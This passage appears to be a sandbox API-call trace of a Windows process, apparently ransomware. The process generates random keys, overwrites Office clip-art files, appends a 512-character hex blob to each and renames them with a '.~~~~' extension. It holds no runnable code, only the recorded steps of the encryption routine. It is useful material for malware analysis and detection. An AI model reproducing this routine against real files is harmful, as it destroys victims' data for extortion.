	[0124.389] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0229389.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0229389.wmf.~~~~")) returned 1
	[0124.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bf1c0 | out: hHeap=0x300000) returned 1
	[0124.393] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0124.393] GetLastError () returned 0x0
	[0124.545] CryptAcquireContextA (phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000) 
	[0124.545] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0124.546] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0124.546] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.565] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0124.565] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0124.566] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0124.566] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24455577993) returned 1
	[0124.571] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb3b56690, dwHighDateTime=0x1d60e1e)) 
	[0124.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0124.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0124.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0124.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820750
	[0124.571] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820750 | out: hHeap=0x300000) returned 1
	[0124.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.572] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3beff8
	[0124.572] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.572] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0124.572] GetLastError () returned 0x0
	[0124.573] GetLastError () returned 0x0
	[0124.573] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0124.573] GetLastError () returned 0x0
	[0124.573] GetLastError () returned 0x0
	[0124.724] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xffffec2a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.724] WriteFile (in: hFile=0x130, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x13d6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0x13d6, lpOverlapped=0x0) returned 1
	[0124.727] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0124.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.727] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.727] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.727] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.727] CloseHandle (hObject=0x130) returned 1
	[0124.727] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bfa10
	[0124.727] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf.~~~~")) returned 1
	[0124.850] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bfa10 | out: hHeap=0x300000) returned 1
	[0124.851] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0124.851] GetLastError () returned 0x0
	[0124.851] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0124.852] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.852] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0124.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0124.853] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24484305136) returned 1
	[0124.853] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb3e03f50, dwHighDateTime=0x1d60e1e)) 
	[0124.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0124.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0124.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0124.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820b08
	[0124.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.853] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820b08 | out: hHeap=0x300000) returned 1
	[0124.853] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.854] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf2f0
	[0124.854] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.854] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0124.854] GetLastError () returned 0x0
	[0124.854] GetLastError () returned 0x0
	[0124.854] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0124.854] GetLastError () returned 0x0
	[0124.855] GetLastError () returned 0x0
	[0124.977] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff772, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.977] WriteFile (in: hFile=0x130, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x88e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x88e, lpOverlapped=0x0) returned 1
	[0124.986] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0124.986] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.986] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.986] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.986] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.988] CloseHandle (hObject=0x130) returned 1
	[0124.988] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bf2f0
	[0124.988] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293240.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293240.wmf.~~~~")) returned 1
	[0124.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bf2f0 | out: hHeap=0x300000) returned 1
	[0124.996] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0124.996] GetLastError () returned 0x0
	[0124.996] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0124.997] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.997] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.997] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0124.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0124.998] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24498774424) returned 1
	[0124.998] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb3f80d10, dwHighDateTime=0x1d60e1e)) 
	[0124.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0124.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0124.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0124.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820b40
	[0124.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820b40 | out: hHeap=0x300000) returned 1
	[0124.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f05b0
	[0124.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.998] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0260
	[0124.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f05b0 | out: hHeap=0x300000) returned 1
	[0124.998] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0124.999] GetLastError () returned 0x0
	[0124.999] GetLastError () returned 0x0
	[0124.999] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0124.999] GetLastError () returned 0x0
	[0124.999] GetLastError () returned 0x0
	[0125.001] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xfffff6d4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.001] WriteFile (in: hFile=0x130, lpBuffer=0x28fd050*, nNumberOfBytesToWrite=0x92c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28fd050*, lpNumberOfBytesWritten=0x26dfec0*=0x92c, lpOverlapped=0x0) returned 1
	[0125.004] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28fd050 | out: hHeap=0x300000) returned 1
	[0125.004] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.004] WriteFile (in: hFile=0x130, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.004] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.004] WriteFile (in: hFile=0x130, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.004] CloseHandle (hObject=0x130) returned 1
	[0125.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0260
	[0125.004] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293570.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293570.wmf.~~~~")) returned 1
	[0125.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0260 | out: hHeap=0x300000) returned 1
	[0125.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0125.006] GetLastError () returned 0x0
	[0125.459] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0125.460] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.460] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.460] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0125.460] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0125.460] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24545059926) returned 1
	[0125.461] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb43d14f0, dwHighDateTime=0x1d60e1e)) 
	[0125.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0125.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0125.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0125.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820d38
	[0125.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.461] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820d38 | out: hHeap=0x300000) returned 1
	[0125.461] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0125.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.462] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0980
	[0125.462] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0125.462] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0125.462] GetLastError () returned 0x0
	[0125.462] GetLastError () returned 0x0
	[0125.462] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0125.462] GetLastError () returned 0x0
	[0125.462] GetLastError () returned 0x0
	[0125.491] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffea16, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.491] WriteFile (in: hFile=0xc4, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x15ea, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x15ea, lpOverlapped=0x0) returned 1
	[0125.493] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0125.493] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.493] WriteFile (in: hFile=0xc4, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.494] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0125.494] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0125.494] CloseHandle (hObject=0xc4) returned 1
	[0125.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0a18
	[0125.494] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293828.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293828.wmf.~~~~")) returned 1
	[0125.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0a18 | out: hHeap=0x300000) returned 1
	[0125.496] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0125.496] GetLastError () returned 0x0
	[0125.496] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0125.498] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0125.498] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0125.498] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0125.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0125.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0125.498] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24548841778) returned 1
	[0125.498] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb4443910, dwHighDateTime=0x1d60e1e)) 
	[0125.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0125.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0125.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0125.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820ec0
	[0125.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0125.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820ec0 | out: hHeap=0x300000) returned 1
	[0125.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0125.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0125.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3f1570
	[0125.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0125.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c0390
	[0125.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f1570 | out: hHeap=0x300000) returned 1
	[0125.499] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0125.500] GetLastError () returned 0x0
	[0125.500] GetLastError () returned 0x0
	[0125.500] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0125.500] GetLastError () returned 0x0
	[0125.500] GetLastError () returned 0x0
	[0125.512] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffdc64, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0125.513] WriteFile (in: hFile=0xc4, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x239c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x239c, lpOverlapped=0x0) returned 1
	[0125.514] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0125.518] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0125.518] WriteFile (in: hFile=0xc4, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0125.519] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
